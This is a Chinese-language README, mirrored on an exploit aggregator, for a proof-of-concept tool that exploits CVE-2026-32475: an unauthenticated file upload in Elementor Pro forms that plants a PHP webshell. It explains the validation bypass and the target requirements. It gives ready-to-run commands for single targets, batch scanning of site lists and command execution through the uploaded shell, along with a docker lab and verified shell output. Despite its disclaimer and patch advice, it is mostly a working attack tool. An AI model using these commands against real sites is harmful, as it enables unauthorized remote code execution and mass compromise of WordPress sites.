## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SAHMSEC-CVE-2026-32475
# CVE-2026-32475 — Elementor Pro ≤ 4.2.1 未认证任意文件上传 → RCE
**CVE-2026-32475** (CVSS 9.0 严重,CWE-434)的 PoC:Elementor Pro Forms 模块中存在未认证的任意文件上传漏洞,可导致远程代码执行。已在 Elementor Pro **4.2.2** (2026-08-19)中修复。由 Tin Pham (TF1T) 通过 Patchstack 漏洞赏金计划报告。
root@kitploit:~
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
## ⚠️ 法律免责声明
本概念验证**仅用于授权的安全研究、教育和防御性测试** 。
* 在针对目标系统运行此工具之前,您必须**拥有目标系统** 或获得系统所有者的**明确书面许可** 。
* 未经授权访问计算机系统在大多数司法管辖区均属违法行为(例如美国的《计算机欺诈和滥用法》、英国的《计算机滥用法》以及世界各地的类似法律),并可能承担刑事和民事处罚。
* 作者和贡献者对本代码使用过程中产生的任何滥用、损害或法律后果**不承担任何责任** 。
* 使用本软件即表示您同意负责任地使用它,并遵守所有适用法律。
## 漏洞是什么
Elementor Pro 表单的文件上传字段在两个具有不同语义的独立循环中处理上传的条目(`modules/forms/fields/upload.php`):
root@kitploit:~
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- 中止整个方法
}
// is_file_type_valid() ... // 永远不会到达第 2 个条目
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- 仅跳过此条目
}
$filename = uniqid() . '.' . $file_extension; // 攻击者控制的扩展名
move_uploaded_file( $file['tmp_name'], $new_file );
}
为同一上传字段提交**两个** 文件部分——一个空的第一部分(`filename=""` → `UPLOAD_ERR_NO_FILE`)后跟 `.php` 载荷——会使 `validation()` 在扩展名黑名单看到载荷之前返回,而 `process_field()` 仍会将其移动到 `wp-content/uploads/elementor/forms/<uniqid()>.php`,这是一个公共 Web 目录。直接请求该 URL = 远程代码执行。
上传由 `POST /wp-admin/admin-ajax.php`(`action=elementor_pro_forms_send_form`)处理,**无需认证且无需 nonce** 。`post_id`、`form_id` 和上传字段名称在公开页面 HTML 中可见,因此整个攻击是未认证的。
## 要求
**目标:**
* Elementor Pro **≤ 4.2.1** (所有旧版本均受影响)
* 至少一个已发布的页面包含带有文件上传字段的表单小部件
* 上传字段**不得** 标记为必填(默认状态)
* 表单上没有 CAPTCHA(reCAPTCHA/turnstile 会阻止未认证的提交)
* 上传目录必须执行 PHP(大多数 Apache/cPanel 主机默认如此;某些加固的 nginx 配置会阻止)
**攻击者:**
* Python 3.9+(仅标准库——无依赖)
* 可访问目标网络
## 使用方法
单目标(通过 sitemap/首页自动发现表单页面):
root@kitploit:~
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
显式指定表单页面:
root@kitploit:~
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
批量模式(`sites.txt`:每行一个站点——`base_url` 或 `base_url page_url`):
root@kitploit:~
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON 列表格式:
root@kitploit:~
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
对已上传的 shell 执行命令:
root@kitploit:~
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
### 主要选项
## 工具工作原理
1. **发现** — 获取目标页面(或爬取 sitemap 和首页链接,最多 20 个页面)以找到包含文件上传字段的表单。
2. **抓取** — 提取 `post_id`、`form_id`、上传字段名称以及所有其他表单字段;自动用合理的值填充所有字段,使必填字段通过验证(使用 `--field` 覆盖)。
3. **上传** — 向 `admin-ajax.php` 发送两部分 multipart POST。注意:`success:false` 且 `errors` 对象为 _空_ 仍被视为已上传,因为默认的 Email 操作在文件移动 _之后_ 、`wp_mail()` 失败时才会抛出错误。只有上传字段本身被拒绝(`file type is not allowed`)才算被阻止。
4. **文件名恢复** — `uniqid()` = 8 位十六进制秒 + 5 位十六进制微秒。秒来自响应的 `Date` 头;亚秒部分根据 `(t1 - date_epoch) % 1` 估算(当攻击者和服务器时钟接近时准确)。一个 keep-alive 探测器(比每次请求一个连接快约 30 倍)以微秒分辨率扫描移动窗口;当时钟偏差时,`--full-second` 暴力破解整个秒。
5. **执行** — `GET <shell>?c=<command>` 执行命令; 通过 删除 shell。
### 结果状态
## 实验室复现
`docker-compose.yml` \+ `setup_form_page.php` 可复现易受攻击的目标:
root@kitploit:~
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! some-email@example.com
docker compose run --rm wpcli wp plugin install elementor --activate
# 将合法获取的 elementor-pro.zip (<= 4.2.1) 放入项目目录,然后:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
## 已验证输出
root@kitploit:~
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
## 参考
* Patchstack 公告
* NVD 条目
* Elementor Pro 更新日志(4.2.2)
## 修复措施
将 Elementor Pro 更新至 **4.2.2+** 。更新可堵住漏洞,但不会移除已上传的 shell——请审计 `wp-content/uploads/elementor/forms/` 目录中是否有残留的 `.php` 文件。
* * *
**仅供授权的安全研究和实验室使用。**